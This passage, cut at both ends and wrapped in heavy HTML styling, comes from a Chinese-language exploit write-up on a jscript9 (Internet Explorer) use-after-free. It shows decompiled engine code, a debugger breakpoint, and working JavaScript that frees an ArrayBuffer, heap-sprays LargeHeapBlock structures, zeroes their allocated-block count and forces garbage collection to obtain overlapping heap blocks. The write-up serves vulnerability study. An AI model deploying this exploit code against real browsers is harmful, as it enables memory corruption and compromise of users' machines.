184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>对应为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">new ArrayBuffer(0x8c)</code>所对应的内存，具体可以动态调试下断点来进一步确认，断点如所示：</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">bp jscript9!LargeHeapBucket::AddLargeHeapBlock+0x92<br/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">所对应的代码如下所示，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock::New</code>的返回值即是<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>堆块。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;line-height: 26px;">struct LargeHeapBlock *__thiscall <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">LargeHeapBucket::AddLargeHeapBlock</span><span style="box-sizing: border-box;line-height: 26px;">(LargeHeapBucket *<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">this</span>, <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">unsigned</span> <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">int</span> a2)</span><br style="box-sizing: border-box;"/></span>{<br style="box-sizing: border-box;"/>   ...<br style="box-sizing: border-box;"/>    lpAddress = PageAllocator::Alloc((PageAllocator *)(v4 + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">8</span>), &amp;v13, &amp;v12);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> ( lpAddress )<br style="box-sizing: border-box;"/>    {<br style="box-sizing: border-box;"/>      v6 = LargeHeapBlock::New(<br style="box-sizing: border-box;"/>             (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">char</span> *)v12,<br style="box-sizing: border-box;"/>             (((v13 &lt;&lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">12</span>) - a2 - <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">16</span>) &gt;&gt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">10</span>) + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>,<br style="box-sizing: border-box;"/>             *((_BYTE *)<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">this</span> + <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">28</span>) != <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span> ? <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">this</span> : <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>,<br style="box-sizing: border-box;"/>             v9,<br style="box-sizing: border-box;"/>             v10);<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">此时问题就变成了对<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>数据结构进行读写，对何处进行读写能够继续进一步的利用。答案是覆盖<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>中<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0x14</code>偏移的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Allocated Block Count</code>字段，将它覆盖为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>，这样后续如果触发垃圾回收机制，该<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>结构所管理的堆内存会被认为是被释放的，后面就会被继续申请与利用，从而就可以形成重叠堆快。</p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">上述思路所形成的代码如下所示。<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">opt</code>函数中<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[5] = a</code>时会触发<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">obj</code>的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">valueOf</code>函数，该函数首先会释放<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ab</code>，<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">sleep</code>一段时间等待堆内存被释放，然后堆喷<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>结构去申请大内存重新占有该<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ab</code>内存，因为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">valueOf</code>函数会返回<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>，最终会执行<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b[5] = 0</code>，此时<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">ab</code>已经被覆盖为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>结构，因此会将<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>结构的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">Allocated Block Count</code>修改为<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">0</code>。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> ARRAY_LENGTH = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x500</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> b = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>(ARRAY_LENGTH);<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> c = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>(ARRAY_LENGTH); <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> obj = {};<br style="box-sizing: border-box;"/>obj.valueOf = <span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span>(<span style="box-sizing: border-box;line-height: 26px;"></span>) </span>{<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// free the Float32Array ArrayBuffer</span><br style="box-sizing: border-box;"/>    worker = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> Worker(<span style="box-sizing: border-box;color: rgb(152, 195, 121);line-height: 26px;">&#39;worker.js&#39;</span>);<br style="box-sizing: border-box;"/>    worker.postMessage(ab, [ab]);<br style="box-sizing: border-box;"/>    worker.terminate();<br style="box-sizing: border-box;"/>    worker = <span style="box-sizing: border-box;color: rgb(86, 182, 194);line-height: 26px;">null</span>;<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// sleep to wait system free the ArrayBuffer</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> start = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Date</span>.now();<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">while</span> (<span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Date</span>.now() - start &lt; <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">300</span>) {}<br style="box-sizing: border-box;"/>    <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// spray LargeHeapBlock structure to occupy the freed ArrayBuffer</span><br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i &lt; ARRAY_LENGTH; ++i) {<br style="box-sizing: border-box;"/>        b[i] = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>((<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x1000</span> - <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x20</span>) / <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">4</span>);<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> j = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; j &lt; b[i].length; ++j)<br style="box-sizing: border-box;"/>            b[i][j] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x666</span>;<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">return</span> <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br style="box-sizing: border-box;"/>};<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;line-height: 26px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">function</span> <span style="box-sizing: border-box;color: rgb(97, 174, 238);line-height: 26px;">opt</span>(<span style="box-sizing: border-box;line-height: 26px;">a, b, c, d</span>) </span>{<br style="box-sizing: border-box;"/>    a = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.push = <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>.prototype.push;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.length = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>;<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">arguments</span>.push(d);<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> (c) {<br style="box-sizing: border-box;"/>        a = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">2</span>;<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// now the Float32Array ArrayBuffer is the same as LargeHeapBlock structure, overwrite b[5] will change the LargeHeapBlock&#39;s Allocated Block Count to 0</span><br style="box-sizing: border-box;"/>    b[<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">5</span>] = a;<br style="box-sizing: border-box;"/>};<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">后续调用<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">CollectGarbage</code>手动触发垃圾回收，此时会认为被修改的<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">LargeHeapBlock</code>结构所对应数组<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b</code>中的某个数组内存是被释放了的。此时再申请大内存，系统会再次分配该内存，此时数组<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">b</code>和数组<code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;">c</code>就有某个数组就会形成重叠堆块，遍历两个数组，找到重叠的对象内存。</p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-bottom: 10px;overflow: auto;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// gc to manual free the LargeHeapBlock memory.</span><br style="box-sizing: border-box;"/>CollectGarbage();<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> index1 = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">-1</span>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> index2 = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">-1</span>;<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// spray malloc LargeHeapBlock heap again, it will occupy the same memory with b array</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i &lt; ARRAY_LENGTH; ++i) {<br style="box-sizing: border-box;"/>    c[i] = <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">new</span> <span style="box-sizing: border-box;color: rgb(230, 192, 123);line-height: 26px;">Array</span>((<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x1000</span> - <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x20</span>) / <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">4</span>);<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> j = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; j &lt; c[i].length; ++j)<br style="box-sizing: border-box;"/>        c[i][j] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x888</span>;<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// find the overlap heap in array b</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i &lt; b.length; i += <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>) {<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> (b[i][<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] == <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x888</span>) {<br style="box-sizing: border-box;"/>        index1 = i;<br style="box-sizing: border-box;"/>        b[i][<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x666</span>;<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">break</span>;<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/> <br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(92, 99, 112);font-style: italic;line-height: 26px;">// find the overlap heap in array c</span><br style="box-sizing: border-box;"/><span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">for</span> (<span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">var</span> i = <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>; i &lt; c.length; i += <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">1</span>) {<br style="box-sizing: border-box;"/>    <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">if</span> (c[i][<span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0</span>] == <span style="box-sizing: border-box;color: rgb(209, 154, 102);line-height: 26px;">0x666</span>) {<br style="box-sizing: border-box;"/>        index2 = i;<br style="box-sizing: border-box;"/>        <span style="box-sizing: border-box;color: rgb(198, 120, 221);line-height: 26px;">break</span>;<br style="box-sizing: border-box;"/>    }<br style="box-sizing: border-box;"/>}<br style="box-sizing: border-box;"/></code></pre><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: 